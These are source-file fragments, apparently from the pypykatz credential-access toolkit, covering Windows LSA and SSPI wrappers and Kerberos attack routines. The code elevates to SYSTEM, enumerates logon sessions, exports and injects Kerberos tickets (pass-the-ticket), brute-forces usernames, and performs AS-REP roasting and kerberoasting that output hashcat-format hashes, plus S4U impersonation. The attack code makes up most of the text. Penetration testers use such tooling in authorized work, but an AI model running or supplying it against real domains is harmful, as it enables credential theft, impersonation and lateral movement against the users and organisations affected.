831 | ||
832 | if isinstance(package_name, str): | |
833 | package_name = package_name.encode() | |
834 | ||
835 | pname = LSA_STRING() | |
836 | pname.Buffer = create_string_buffer(package_name) | |
837 | pname.Length = len(package_name) | |
838 | pname.MaximumLength = len(package_name) + 1 | |
839 | ||
840 | package_id = ULONG(0) | |
841 | _LsaLookupAuthenticationPackage(lsa_handle, byref(pname), byref(package_id)) | |
842 | ||
843 | return package_id.value | |
844 | ||
845 | # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsacallauthenticationpackage | |
846 | def LsaCallAuthenticationPackage(lsa_handle, package_id, message): | |
847 | #message bytes | |
848 | _LsaCallAuthenticationPackage = windll.Secur32.LsaCallAuthenticationPackage | |
849 | _LsaCallAuthenticationPackage.argtypes = [HANDLE, ULONG, PVOID, ULONG, PVOID, PULONG, PNTSTATUS] | |
850 | _LsaCallAuthenticationPackage.restype = DWORD | |
851 | _LsaCallAuthenticationPackage.errcheck = LsaRaiseIfNotErrorSuccess | |
852 | ||
853 | if not isinstance(message, Structure): | |
854 | message = bytes(message) | |
855 | message_len = len(message) | |
856 | else: | |
857 | message_len = len(bytes(message)) | |
858 | ||
859 | return_msg_p = c_void_p() | |
860 | return_msg_len = ULONG(0) | |
861 | return_status = NTSTATUS(INVALID_HANDLE_VALUE) | |
862 | _LsaCallAuthenticationPackage(lsa_handle, package_id, byref(message), message_len, byref(return_msg_p), byref(return_msg_len), byref(return_status)) | |
863 | ||
864 | return_msg = b'' | |
865 | free_ptr = None #please free this pointer when the parsing is finished on the upper levels using LsaFreeReturnBuffer. Problem is that if we call LsaFreeReturnBuffer here then the parsing will fail if the message has nested structures with pointers involved because by the time of parsing those pointers will be freed. sad. | |
866 | if return_msg_len.value > 0: | |
867 | return_msg = string_at(return_msg_p, return_msg_len.value) | |
868 | free_ptr = return_msg_p | |
869 | #LsaFreeReturnBuffer(return_msg_p) | |
870 | ||
871 | ||
872 | return return_msg, return_status.value, free_ptr | |
873 | ||
874 | # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaenumeratelogonsessions | |
875 | def LsaEnumerateLogonSessions(): | |
876 | #logon_process_name == This string must not exceed 127 bytes. | |
877 | _LsaEnumerateLogonSessions = windll.Secur32.LsaEnumerateLogonSessions | |
878 | _LsaEnumerateLogonSessions.argtypes = [PULONG , PVOID] #PLUID | |
879 | _LsaEnumerateLogonSessions.restype = NTSTATUS | |
880 | _LsaEnumerateLogonSessions.errcheck = LsaRaiseIfNotErrorSuccess | |
881 | ||
882 | LogonSessionCount = ULONG(0) | |
883 | start_luid = c_void_p() | |
884 | _LsaEnumerateLogonSessions(byref(LogonSessionCount), byref(start_luid)) | |
885 | ||
886 | class LUIDList(Structure): | |
887 | _fields_ = [ | |
888 | ("LogonIds", LUID*LogonSessionCount.value), | |
889 | ] | |
890 | PLUIDList = POINTER(LUIDList) | |
891 | ||
892 | res_luids = [] | |
893 | pluids = cast(start_luid, PLUIDList) | |
894 | for luid in pluids.contents.LogonIds: | |
895 | res_luids.append(luid.to_int()) | |
896 | ||
897 | LsaFreeReturnBuffer(start_luid) | |
898 | ||
899 | return res_luids | |
900 | ||
901 | # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsagetlogonsessiondata | |
902 | def LsaGetLogonSessionData(luid): | |
903 | #logon_process_name == This string must not exceed 127 bytes. | |
904 | _LsaGetLogonSessionData = windll.Secur32.LsaGetLogonSessionData | |
905 | _LsaGetLogonSessionData.argtypes = [PLUID, PVOID] #PSECURITY_LOGON_SESSION_DATA | |
906 | _LsaGetLogonSessionData.restype = NTSTATUS | |
907 | _LsaGetLogonSessionData.errcheck = LsaRaiseIfNotErrorSuccess | |
908 | ||
909 | if isinstance(luid, int): | |
910 | luid = LUID.from_int(luid) | |
911 | ||
912 | ppsessiondata = c_void_p() | |
913 | _LsaGetLogonSessionData(byref(luid), byref(ppsessiondata)) | |
914 | ||
915 | psessiondata = cast(ppsessiondata, PSECURITY_LOGON_SESSION_DATA) | |
916 | sessiondata = psessiondata.contents.to_dict() | |
917 | LsaFreeReturnBuffer(ppsessiondata) | |
918 | ||
919 | return sessiondata | |
920 | ||
921 | #https://github.com/mhammond/pywin32/blob/d64fac8d7bda2cb1d81e2c9366daf99e802e327f/win32/Lib/sspi.py#L108 | |
922 | #https://docs.microsoft.com/en-us/windows/desktop/secauthn/using-sspi-with-a-windows-sockets-client | |
923 | #https://msdn.microsoft.com/en-us/library/Aa374712(v=VS.85).aspx | |
924 | def AcquireCredentialsHandle(client_name, package_name, tragetspn, cred_usage, pluid = None, authdata = None): | |
925 | def errc(result, func, arguments): | |
926 | if SEC_E(result) == SEC_E.OK: | |
927 | return result | |
928 | raise Exception('%s failed with error code %s (%s)' % ('AcquireCredentialsHandle', result, SEC_E(result))) | |
929 | ||
930 | _AcquireCredentialsHandle = windll.Secur32.AcquireCredentialsHandleA | |
931 | _AcquireCredentialsHandle.argtypes = [PSEC_CHAR, PSEC_CHAR, ULONG, PLUID, PVOID, PVOID, PVOID, PCredHandle, PTimeStamp] | |
932 | _AcquireCredentialsHandle.restype = DWORD | |
933 | _AcquireCredentialsHandle.errcheck = errc | |
934 | ||
935 | #TODO: package_name might be different from version to version. implement functionality to poll it properly! | |
936 | ||
937 | cn = None | |
938 | if client_name: | |
939 | cn = LPSTR(client_name.encode('ascii')) | |
940 | pn = LPSTR(package_name.encode('ascii')) | |
941 | ||
942 | creds = CredHandle() | |
943 | ts = TimeStamp() | |
944 | _AcquireCredentialsHandle(cn, pn, cred_usage, pluid, authdata, None, None, byref(creds), byref(ts)) | |
945 | return creds | |
946 | ||
947 | # https://docs.microsoft.com/en-us/windows/desktop/api/sspi/nf-sspi-querycontextattributesa | |
948 | def QueryContextAttributes(ctx, attr, sec_struct): | |
949 | #attr = SECPKG_ATTR enum | |
950 | def errc(result, func, arguments): | |
951 | if SEC_E(result) == SEC_E.OK: | |
952 | return SEC_E(result) | |
953 | raise Exception('%s failed with error code %s (%s)' % ('QueryContextAttributes', result, SEC_E(result))) | |
954 | ||
955 | _QueryContextAttributes = windll.Secur32.QueryContextAttributesW | |
956 | _QueryContextAttributes.argtypes = [PCtxtHandle, ULONG, PVOID] | |
957 | _QueryContextAttributes.restype = DWORD | |
958 | _QueryContextAttributes.errcheck = errc | |
959 | ||
960 | res = _QueryContextAttributes(byref(ctx), attr.value, byref(sec_struct)) | |
961 | ||
962 | return | |
963 | ||
964 | ||
965 | # https://msdn.microsoft.com/en-us/library/windows/desktop/aa375507(v=vs.85).aspx | |
966 | def InitializeSecurityContext(creds, target, ctx = None, flags = ISC_REQ.INTEGRITY | ISC_REQ.CONFIDENTIALITY | ISC_REQ.SEQUENCE_DETECT | ISC_REQ.REPLAY_DETECT, TargetDataRep = 0, token = None): | |
967 | #print('==== InitializeSecurityContext ====') | |
968 | #print('Creds: %s' % creds) | |
969 | #print('Target: %s' % target) | |
970 | #print('ctx: %s' % ctx) | |
971 | #print('token: %s' % token) | |
972 | def errc(result, func, arguments): | |
973 | if SEC_E(result) in [SEC_E.OK, SEC_E.COMPLETE_AND_CONTINUE, SEC_E.COMPLETE_NEEDED, SEC_E.CONTINUE_NEEDED, SEC_E.INCOMPLETE_CREDENTIALS]: | |
974 | return SEC_E(result) | |
975 | raise Exception('%s failed with error code %s (%s)' % ('InitializeSecurityContext', result, SEC_E(result))) | |
976 | ||
977 | _InitializeSecurityContext = windll.Secur32.InitializeSecurityContextA | |
978 | _InitializeSecurityContext.argtypes = [PCredHandle, PCtxtHandle, PSEC_CHAR, ULONG, ULONG, ULONG, PSecBufferDesc, ULONG, PCtxtHandle, PSecBufferDesc, PULONG, PTimeStamp] | |
979 | _InitializeSecurityContext.restype = DWORD | |
980 | _InitializeSecurityContext.errcheck = errc | |
981 | ||
982 | if target: | |
983 | ptarget = LPSTR(target.encode('ascii')) | |
984 | else: | |
985 | ptarget = None | |
986 | newbuf = SecBufferDesc() | |
987 | outputflags = ULONG() | |
988 | expiry = TimeStamp() | |
989 | ||
990 | if token: | |
991 | token = SecBufferDesc([SecBuffer(token)]) | |
992 | ||
993 | ||
994 | if not ctx: | |
995 | ctx = CtxtHandle() | |
996 | res = _InitializeSecurityContext(byref(creds), None, ptarget, int(flags), 0 ,TargetDataRep, byref(token) if token else None, 0, byref(ctx), byref(newbuf), byref(outputflags), byref(expiry)) | |
997 | else: | |
998 | res = _InitializeSecurityContext(byref(creds), byref(ctx), ptarget, int(flags), 0 ,TargetDataRep, byref(token) if token else None, 0, byref(ctx), byref(newbuf), byref(outputflags), byref(expiry)) | |
999 | ||
1000 | data = newbuf.Buffers | |
1001 | ||
1002 | return res, ctx, data, ISC_REQ(outputflags.value), expiry | |
1003 | ||
1004 | ||
1005 | def get_ticket_cache_info_helper(lsa_handle, package_id, luid, throw = True): | |
1006 | result = [] | |
1007 | message = KERB_QUERY_TKT_CACHE_REQUEST(luid) | |
1008 | ret_msg, ret_status, free_prt = LsaCallAuthenticationPackage(lsa_handle, package_id, message) | |
1009 | ||
1010 | if ret_status != 0: | |
1011 | if throw is True: | |
1012 | raise WinError(LsaNtStatusToWinError(ret_status)) | |
1013 | return result | |
1014 | ||
1015 | response_preparse = KERB_QUERY_TKT_CACHE_RESPONSE_SIZE.from_buffer_copy(ret_msg) | |
1016 | if response_preparse.CountOfTickets > 0: | |
1017 | #new class | |
1018 | class KERB_QUERY_TKT_CACHE_RESPONSE_ARRAY(Structure): | |
1019 | _fields_ = [ | |
1020 | ("MessageType", DWORD), | |
1021 | ("CountOfTickets", ULONG), | |
1022 | ("Tickets", KERB_TICKET_CACHE_INFO * response_preparse.CountOfTickets) | |
1023 | ] | |
1024 | ||
1025 | response = KERB_QUERY_TKT_CACHE_RESPONSE_ARRAY.from_buffer_copy(ret_msg) | |
1026 | for ticket in response.Tickets: | |
1027 | result.append(ticket.to_dict()) | |
1028 | ||
1029 | LsaFreeReturnBuffer(free_prt) | |
1030 | ||
1031 | return result | |
1032 | ||
1033 | def extract_ticket(lsa_handle, package_id, luid, target_name): | |
1034 | message = retrieve_tkt_helper(target_name, logonid=luid) | |
1035 | ret_msg, ret_status, free_ptr = LsaCallAuthenticationPackage(lsa_handle, package_id, message) | |
1036 | ||
1037 | ticket = {} | |
1038 | if ret_status != 0: | |
1039 | raise WinError(LsaNtStatusToWinError(ret_status)) | |
1040 | if len(ret_msg) > 0: | |
1041 | resp = KERB_RETRIEVE_TKT_RESPONSE.from_buffer_copy(ret_msg) | |
1042 | ticket = resp.Ticket.get_data() | |
1043 | LsaFreeReturnBuffer(free_ptr) | |
1044 | ||
1045 | return ticket | |
1046 | ||
1047 | ||
1048 | if __name__ == '__main__': | |
1049 | ||
1050 | #luids = LsaEnumerateLogonSessions() | |
1051 | #for luid in luids: | |
1052 | # try: | |
1053 | # session_info = LsaGetLogonSessionData(luid) | |
1054 | # print(session_info) | |
1055 | # except Exception as e: | |
1056 | # import traceback | |
1057 | # traceback.print_exc() | |
1058 | # print(e) | |
1059 | from pypykatz.commons.readers.local.common.privileges import RtlAdjustPrivilege | |
1060 | from pypykatz.commons.winapi.processmanipulator import ProcessManipulator | |
1061 | pm = ProcessManipulator() | |
1062 | ||
1063 | ||
1064 | ||
1065 | #lsa_handle = LsaConnectUntrusted() | |
1066 | ||
1067 | #package_id = LsaLookupAuthenticationPackage(lsa_handle, 'kerberos') | |
1068 | #print(package_id) | |
1069 | #message = KERB_PURGE_TKT_CACHE_REQUEST() | |
1070 | #LsaCallAuthenticationPackage(lsa_handle, package_id, message) | |
1071 | #LsaDeregisterLogonProcess(lsa_handle) | |
1072 | ||
1073 | import sys | |
1074 | ||
1075 | #print(LsaGetLogonSessionData(0)) | |
1076 | #retrieve_tkt_helper('almaaaaasaaaa') | |
1077 | ||
1078 | #sys.exit() | |
1079 | ||
1080 | pm.getsystem() | |
1081 | lsa_handle = LsaRegisterLogonProcess('HELLOOO') | |
1082 | pm.dropsystem() | |
1083 | package_id = LsaLookupAuthenticationPackage(lsa_handle, 'kerberos') | |
1084 | ||
1085 | with open('test_9.kirbi', 'rb') as f: | |
1086 | ticket_data = f.read() | |
1087 | ||
1088 | luid = 0 | |
1089 | message = submit_tkt_helper(ticket_data, logonid=luid) | |
1090 | ret_msg, ret_status, free_ptr = LsaCallAuthenticationPackage(lsa_handle, package_id, message) | |
1091 | ||
1092 | print(get_lsa_error(ret_status)) | |
1093 | print(ret_msg) | |
1094 | ||
1095 | # | |
1096 | ||
1097 | #print(lsa_handle_2) | |
1098 | #LsaDeregisterLogonProcess(lsa_handle_2) | |
1099 | ⏎ |
0 | ||
1 | from pypykatz.kerberos.kirbiutils import parse_kirbi, print_kirbi | |
2 | from pypykatz import logger | |
3 | import os | |
4 | import ntpath | |
5 | import glob | |
6 | import pprint | |
7 | import platform | |
8 | import datetime | |
9 | ||
10 | from msldap.commons.url import MSLDAPURLDecoder | |
11 | ||
12 | from minikerberos.security import KerberosUserEnum, APREPRoast, Kerberoast | |
13 | from msldap.authentication.kerberos.gssapi import get_gssapi, GSSWrapToken, KRB5_MECH_INDEP_TOKEN | |
14 | from minikerberos.common.url import KerberosClientURL, kerberos_url_help_epilog | |
15 | from minikerberos.common.spn import KerberosSPN | |
16 | from minikerberos.common.creds import KerberosCredential | |
17 | from minikerberos.common.target import KerberosTarget | |
18 | from minikerberos.common.keytab import Keytab | |
19 | from minikerberos.aioclient import AIOKerberosClient | |
20 | from minikerberos.common.utils import TGSTicket2hashcat | |
21 | from minikerberos.protocol.asn1_structs import AP_REQ, TGS_REQ, EncryptedData, KrbCredInfo, KRB_CRED, EncKDCRepPart | |
22 | from minikerberos.common.utils import print_table | |
23 | from minikerberos.common.ccache import CCACHE, Credential | |
24 | ||
25 | ||
26 | def process_target_line(target, realm = None, to_spn = True): | |
27 | spn = KerberosSPN() | |
28 | if to_spn is False: | |
29 | spn = KerberosCredential() | |
30 | line = target.strip() | |
31 | if line == '': | |
32 | return None | |
33 | m = line.find('@') | |
34 | if m == -1: | |
35 | if realm is not None: | |
36 | spn.username = line | |
37 | spn.domain = realm | |
38 | else: | |
39 | raise Exception('User %s is missing realm specification and no global realm is defined!' % line) | |
40 | ||
41 | else: | |
42 | spn.username, spn.domain = line.split('@',1) | |
43 | if realm is not None: | |
44 | spn.domain = realm | |
45 | ||
46 | return spn | |
47 | ||
48 | def generate_targets(targets, realm = None, to_spn = True): | |
49 | """ | |
50 | Takes a list of files or strings and generates a list of targets in <username>@<realm> format | |
51 | """ | |
52 | for target in targets: | |
53 | target = target.strip() | |
54 | try: | |
55 | open(target, 'r') | |
56 | except: | |
57 | x = process_target_line(target, realm = realm, to_spn = to_spn) | |
58 | if x: | |
59 | yield x | |
60 | else: | |
61 | with open(target, 'r') as f: | |
62 | for line in f: | |
63 | x = process_target_line(line, realm = realm, to_spn = to_spn) | |
64 | if x: | |
65 | yield x | |
66 | ||
67 | def process_keytab(keytablfile): | |
68 | with open(keytablfile, 'rb') as f: | |
69 | kt = Keytab.from_bytes(f.read()) | |
70 | print(str(kt)) | |
71 | ||
72 | def list_ccache(ccachefile): | |
73 | cc = CCACHE.from_file(ccachefile) | |
74 | table = [] | |
75 | table.append(['id'] + Credential.summary_header()) | |
76 | i = 0 | |
77 | for cred in cc.credentials: | |
78 | table.append([str(i)] + cred.summary()) | |
79 | i += 1 | |
80 | print() #this line intentionally left blank | |
81 | print_table(table) | |
82 | ||
83 | def roast_ccache(ccachefile, outfile = None): | |
84 | cc = CCACHE.from_file(ccachefile) | |
85 | if outfile: | |
86 | with open(outfile, 'wb') as f: | |
87 | for h in cc.get_hashes(all_hashes = True): | |
88 | f.write(h.encode() + b'\r\n') | |
89 | else: | |
90 | for h in cc.get_hashes(all_hashes = True): | |
91 | print(h) | |
92 | ||
93 | def del_ccache(ccachefile, index): | |
94 | output_filename = os.path.join(os.path.dirname(os.path.abspath(ccachefile)), '%s.edited.ccache' % ntpath.basename(ccachefile)) #sorry for this, im tired now :( | |
95 | cc = CCACHE.from_file(ccachefile) | |
96 | temp_cc = CCACHE() | |
97 | temp_cc.file_format_version = cc.file_format_version | |
98 | temp_cc.headerlen = cc.headerlen | |
99 | temp_cc.headers = cc.headers | |
100 | temp_cc.primary_principal = cc.primary_principal | |
101 | ||
102 | for i, cred in enumerate(cc.credentials): | |
103 | if i == index: | |
104 | continue | |
105 | ||
106 | temp_cc.credentials.append(cred) | |
107 | ||
108 | logger.info('Writing edited file to %s' % output_filename) | |
109 | temp_cc.to_file(output_filename) | |
110 | ||
111 | def ccache_to_kirbi(ccachefile, kirbidir): | |
112 | cc = CCACHE.from_file(ccachefile) | |
113 | logger.info('Extracting kirbi file(s)') | |
114 | cc.to_kirbidir(kirbidir) | |
115 | logger.info('Done!') | |
116 | ||
117 | def kirbi_to_ccache(ccachefile, kirbi): | |
118 | try: | |
119 | cc = CCACHE.from_file(ccachefile) | |
120 | except FileNotFoundError: | |
121 | cc = CCACHE() | |
122 | ||
123 | abs_path = os.path.abspath(kirbi) | |
124 | if os.path.isdir(abs_path): | |
125 | logger.info('Parsing kirbi files in directory %s' % abs_path) | |
126 | for kirbifile in glob.glob(kirbi + '*.kirbi'): | |
127 | cc.add_kirbi(kirbifile) | |
128 | else: | |
129 | cc.add_kirbi(kirbi) | |
130 | ||
131 | cc.to_file(ccachefile) | |
132 | ||
133 | async def get_TGS(url, spn, out_file = None): | |
134 | try: | |
135 | logger.debug('[KERBEROS][TGS] started') | |
136 | ku = KerberosClientURL.from_url(url) | |
137 | cred = ku.get_creds() | |
138 | target = ku.get_target() | |
139 | spn = KerberosSPN.from_user_email(spn) | |
140 | ||
141 | logger.debug('[KERBEROS][TGS] target user: %s' % spn.get_formatted_pname()) | |
142 | logger.debug('[KERBEROS][TGS] fetching TGT') | |
143 | kcomm = AIOKerberosClient(cred, target) | |
144 | await kcomm.get_TGT() | |
145 | logger.debug('[KERBEROS][TGS] fetching TGS') | |
146 | tgs, encTGSRepPart, key = await kcomm.get_TGS(spn) | |
147 | ||
148 | if out_file is not None: | |
149 | kcomm.ccache.to_file(out_file) | |
150 | logger.debug('[KERBEROS][TGS] done!') | |
151 | return tgs, encTGSRepPart, key, None | |
152 | except Exception as e: | |
153 | return None, None, None, e | |
154 | ||
155 | async def get_TGT(url): | |
156 | try: | |
157 | logger.debug('[KERBEROS][TGT] started') | |
158 | ku = KerberosClientURL.from_url(url) | |
159 | cred = ku.get_creds() | |
160 | target = ku.get_target() | |
161 | ||
162 | logger.debug('[KERBEROS][TGT] cred: %s' % cred) | |
163 | logger.debug('[KERBEROS][TGT] target: %s' % target) | |
164 | ||
165 | kcomm = AIOKerberosClient(cred, target) | |
166 | logger.debug('[KERBEROS][TGT] fetching TGT') | |
167 | await kcomm.get_TGT() | |
168 | ||
169 | cred = kcomm.ccache.credentials[0] | |
170 | kirbi, filename = cred.to_kirbi() | |
171 | ||
172 | return kirbi, filename, None | |
173 | except Exception as e: | |
174 | return None, None, e | |
175 | ||
176 | async def brute(host, targets, out_file = None, show_negatives = False): | |
177 | """ | |
178 | targets List<KerberosSPN> | |
179 | ||
180 | """ | |
181 | try: | |
182 | logger.debug('[KERBEROS][BRUTE] User enumeration starting') | |
183 | target = KerberosTarget(host) | |
184 | ||
185 | for spn in targets: | |
186 | ke = KerberosUserEnum(target, spn) | |
187 | ||
188 | result = await ke.run() | |
189 | if result is True: | |
190 | if out_file: | |
191 | with open(out_file, 'a') as f: | |
192 | f.write(result + '\r\n') | |
193 | else: | |
194 | print('[+] %s' % str(spn)) | |
195 | else: | |
196 | if show_negatives is True: | |
197 | print('[-] %s' % str(spn)) | |
198 | ||
199 | logger.info('[KERBEROS][BRUTE] User enumeration finished') | |
200 | return None, None | |
201 | except Exception as e: | |
202 | return None, e | |
203 | ||
204 | ||
205 | async def asreproast(host, targets, out_file = None, etype = 23): | |
206 | """ | |
207 | targets List<KerberosSPN> | |
208 | ||
209 | """ | |
210 | try: | |
211 | logger.debug('[KERBEROS][ASREPROAST] Roasting...') | |
212 | logger.debug('[KERBEROS][ASREPROAST] Supporting the following encryption type: %s' % (str(etype))) | |
213 | ||
214 | ks = KerberosTarget(host) | |
215 | ar = APREPRoast(ks) | |
216 | hashes = [] | |
217 | for target in targets: | |
218 | h = await ar.run(target, override_etype = [etype]) | |
219 | hashes.append(h) | |
220 | ||
221 | if out_file: | |
222 | with open(out_file, 'a', newline = '') as f: | |
223 | for thash in hashes: | |
224 | f.write(thash + '\r\n') | |
225 | else: | |
226 | print(h) | |
227 | ||
228 | logger.info('[KERBEROS][ASREPROAST] Done!') | |
229 | return hashes, None | |
230 | ||
231 | except Exception as e: | |
232 | return None, e | |
233 | ||
234 | async def spnroast(url, targets, out_file = None, etype = 23): | |
235 | """ | |
236 | targets List<KerberosSPN> | |
237 | ||
238 | """ | |
239 | try: | |
240 | logger.debug('[KERBEROS][SPNROAST] Roasting...') | |
241 | if etype: | |
242 | if etype == -1: | |
243 | etypes = [23, 17, 18] | |
244 | else: | |
245 | etypes = [etype] | |
246 | else: | |
247 | etypes = [23, 17, 18] | |
248 | ||
249 | logger.debug('[KERBEROS][SPNROAST] Using the following encryption type(s): %s' % (','.join(str(x) for x in etypes))) | |
250 | ||
251 | ku = KerberosClientURL.from_url(url) | |
252 | cred = ku.get_creds() | |
253 | target = ku.get_target() | |
254 | ar = Kerberoast(target, cred) | |
255 | hashes = await ar.run(targets, override_etype = etypes) | |
256 | ||
257 | if out_file: | |
258 | with open(out_file, 'w', newline = '') as f: | |
259 | for thash in hashes: | |
260 | f.write(thash + '\r\n') | |
261 | ||
262 | else: | |
263 | for thash in hashes: | |
264 | print(thash) | |
265 | ||
266 | logger.info('[KERBEROS][SPNROAST] Done!') | |
267 | return hashes, None | |
268 | ||
269 | except Exception as e: | |
270 | return None, e | |
271 | ||
272 | async def s4u(url, spn, targetuser, out_file = None): | |
273 | try: | |
274 | logger.debug('[KERBEROS][S4U] Started') | |
275 | cu = KerberosClientURL.from_url(url) | |
276 | ccred = cu.get_creds() | |
277 | target = cu.get_target() | |
278 | ||
279 | service_spn = KerberosSPN.from_target_string(spn) | |
280 | target_user = KerberosSPN.from_user_email(targetuser) | |
281 | ||
282 | if not ccred.ccache: | |
283 | logger.debug('[KERBEROS][S4U] Getting TGT') | |
284 | client = AIOKerberosClient(ccred, target) | |
285 | await client.get_TGT() | |
286 | logger.debug('[KERBEROS][S4U] Getting ST') | |
287 | tgs, encTGSRepPart, key = await client.getST(target_user, service_spn) | |
288 | else: | |
289 | logger.debug('[KERBEROS][S4U] Getting TGS via TGT from CCACHE') | |
290 | for tgt, key in ccred.ccache.get_all_tgt(): | |
291 | try: | |
292 | logger.debug('[KERBEROS][S4U] Trying to get SPN with %s' % '!'.join(tgt['cname']['name-string'])) | |
293 | client = AIOKerberosClient.from_tgt(target, tgt, key) | |
294 | ||
295 | tgs, encTGSRepPart, key = await client.getST(target_user, service_spn) | |
296 | logger.debug('[KERBEROS][S4U] Sucsess!') | |
297 | except Exception as e: | |
298 | logger.debug('[KERBEROS][S4U] This ticket is not usable it seems Reason: %s' % e) | |
299 | continue | |
300 | else: | |
301 | break | |
302 | ||
303 | if out_file: | |
304 | client.ccache.to_file(out_file) | |
305 | ||
306 | logger.debug('[KERBEROS][S4U] Done!') | |
307 | return tgs, encTGSRepPart, key, None | |
308 | ||
309 | except Exception as e: | |
310 | return None, None, None, e |
0 | ||
1 | import datetime | |
2 | ||
3 | from winacl.functions.highlevel import get_logon_info | |
4 | from msldap.commons.url import MSLDAPURLDecoder | |
5 | from pypykatz.kerberos.functiondefs.asn1structs import InitialContextToken | |
6 | from minikerberos.common.utils import TGSTicket2hashcat, TGTTicket2hashcat | |
7 | from minikerberos.network.clientsocket import KerberosClientSocket | |
8 | from minikerberos.common.target import KerberosTarget | |
9 | ||
10 | from minikerberos.security import APREPRoast, Kerberoast | |
11 | from minikerberos.common.creds import KerberosCredential | |
12 | from minikerberos.common.target import KerberosTarget | |
13 | from minikerberos.common.utils import TGSTicket2hashcat | |
14 | from minikerberos.protocol.asn1_structs import AP_REQ, KRB_CRED, EncKrbCredPart, \ | |
15 | KRBCRED, Authenticator, KrbCredInfo, EncryptedData, TGS_REQ, AP_REP | |
16 | from minikerberos.common.utils import print_table | |
17 | from minikerberos.common.ccache import CCACHE, Credential | |
18 | from minikerberos.protocol.structures import ChecksumFlags, AuthenticatorChecksum | |
19 | from minikerberos.protocol.encryption import Key, _enctype_table | |
20 | ||
21 | ||
22 | from pypykatz import logger | |
23 | from pypykatz.commons.winapi.processmanipulator import ProcessManipulator | |
24 | from pypykatz.kerberos.functiondefs.netsecapi import LsaConnectUntrusted, \ | |
25 | LsaLookupAuthenticationPackage, KERB_PURGE_TKT_CACHE_REQUEST, LsaCallAuthenticationPackage, \ | |
26 | LsaDeregisterLogonProcess, LsaRegisterLogonProcess, LsaEnumerateLogonSessions, \ | |
27 | LsaGetLogonSessionData, LsaFreeReturnBuffer, retrieve_tkt_helper, KERB_RETRIEVE_TKT_RESPONSE, \ | |
28 | get_lsa_error, get_ticket_cache_info_helper, extract_ticket, submit_tkt_helper, \ | |
29 | AcquireCredentialsHandle, InitializeSecurityContext, SECPKG_CRED, ISC_REQ, SEC_E, \ | |
30 | SecPkgContext_SessionKey, QueryContextAttributes, SECPKG_ATTR | |
31 | ||
32 | from pypykatz.kerberos.functiondefs.advapi32 import OpenProcessToken, GetTokenInformation_tokenstatistics | |
33 | from pypykatz.kerberos.functiondefs.kernel32 import GetCurrentProcessId, OpenProcess, CloseHandle, MAXIMUM_ALLOWED | |
34 | ||
35 | ||
36 | class KerberosLive: | |
37 | def __init__(self, start_luid = 0, helper_name = 'TOTALLY_NOT_PYPYKATZ'): | |
38 | self.available_luids = [] | |
39 | self.current_luid = start_luid | |
40 | self.original_luid = self.get_current_luid() | |
41 | self.kerberos_package_id = None | |
42 | self.helper_name = helper_name | |
43 | self.__lsa_handle = None | |
44 | self.__lsa_handle_is_elevated = None | |
45 | ||
46 | self.get_kerberos_package_id() | |
47 | self.list_luids() | |
48 | ||
49 | def get_kerberos_package_id(self): | |
50 | if self.kerberos_package_id is None: | |
51 | lsa_handle = LsaConnectUntrusted() | |
52 | self.kerberos_package_id = LsaLookupAuthenticationPackage(lsa_handle, 'kerberos') | |
53 | LsaDeregisterLogonProcess(lsa_handle) | |
54 | ||
55 | return self.kerberos_package_id | |
56 | ||
57 | def __open_elevated(self): | |
58 | if self.__lsa_handle_is_elevated is True: | |
59 | return self.__lsa_handle | |
60 | ||
61 | pm = ProcessManipulator() | |
62 | try: | |
63 | pm.getsystem() | |
64 | except Exception as e: | |
65 | raise Exception('Failed to obtain SYSTEM privileges! Are you admin? Error: %s' % e) | |
66 | ||
67 | self.__lsa_handle = LsaRegisterLogonProcess(self.helper_name) | |
68 | pm.dropsystem() | |
69 | self.__lsa_handle_is_elevated = True | |
70 | return self.__lsa_handle | |
71 | ||
72 | def open_lsa_handle(self, luid, req_elevated = False): | |
73 | if req_elevated is True: | |
74 | if self.__lsa_handle_is_elevated is True: | |
75 | return self.__lsa_handle | |
76 | return self.__open_elevated() | |
77 | ||
78 | ||
79 | if luid == 0 or self.original_luid == self.current_luid: | |
80 | self.__lsa_handle = LsaConnectUntrusted() | |
81 | self.__lsa_handle_is_elevated = False | |
82 | else: | |
83 | self.__open_elevated() | |
84 | ||
85 | return self.__lsa_handle | |
86 | ||
87 | def switch_luid(self, new_luid): | |
88 | self.open_lsa_handle(0, req_elevated=True) | |
89 | if new_luid not in self.available_luids: | |
90 | if new_luid not in self.list_luids(): | |
91 | raise Exception('This luid is not known!') | |
92 | ||
93 | self.current_luid = new_luid | |
94 | ||
95 | #def get_ticket_from_cache(self, luid, targetname): | |
96 | # self.open_lsa_handle(0, req_elevated=True) | |
97 | # ticket_data = None | |
98 | # msg_req_ticket = retrieve_tkt_helper(targetname, logonid = luid) | |
99 | # ret_msg, ret_status, free_prt = LsaCallAuthenticationPackage(self.__lsa_handle, self.kerberos_package_id, msg_req_ticket) | |
100 | # | |
101 | # #print('ret_msg %s' % ret_msg) | |
102 | # #print('ret_status %s' % ret_status) | |
103 | # if ret_status != 0: | |
104 | # raise get_lsa_error(ret_status) | |
105 | # | |
106 | # if len(ret_msg) > 0: | |
107 | # resp = KERB_RETRIEVE_TKT_RESPONSE.from_buffer_copy(ret_msg) | |
108 | # ticket_data = resp.Ticket.get_data() | |
109 | # LsaFreeReturnBuffer(free_prt) | |
110 | # | |
111 | # return ticket_data | |
112 | ||
113 | def get_ticketinfo(self, luid): | |
114 | if luid == 0: | |
115 | luid = self.original_luid | |
116 | self.open_lsa_handle(luid) | |
117 | ticket_infos = {} | |
118 | ticket_infos[luid] = [] | |
119 | for ticket_info in get_ticket_cache_info_helper(self.__lsa_handle, self.kerberos_package_id, luid, throw = False): | |
120 | ticket_infos[luid].append(ticket_info) | |
121 | ||
122 | return ticket_infos | |
123 | ||
124 | def get_all_ticketinfo(self): | |
125 | self.open_lsa_handle(0, req_elevated=True) | |
126 | ticket_infos = {} | |
127 | for luid in self.list_luids(): | |
128 | if luid not in ticket_infos: | |
129 | ticket_infos[luid] = [] | |
130 | for ticket_info in get_ticket_cache_info_helper(self.__lsa_handle, self.kerberos_package_id, luid, throw = False): | |
131 | if ticket_info != []: | |
132 | ticket_infos[luid].append(ticket_info) | |
133 | ||
134 | return ticket_infos | |
135 | ||
136 | def export_ticketdata_target(self, luid, target): | |
137 | self.open_lsa_handle(luid) | |
138 | return extract_ticket(self.__lsa_handle, self.kerberos_package_id, luid, target) | |
139 | ||
140 | def export_ticketdata(self, luid): | |
141 | if luid == 0: | |
142 | luid = self.original_luid | |
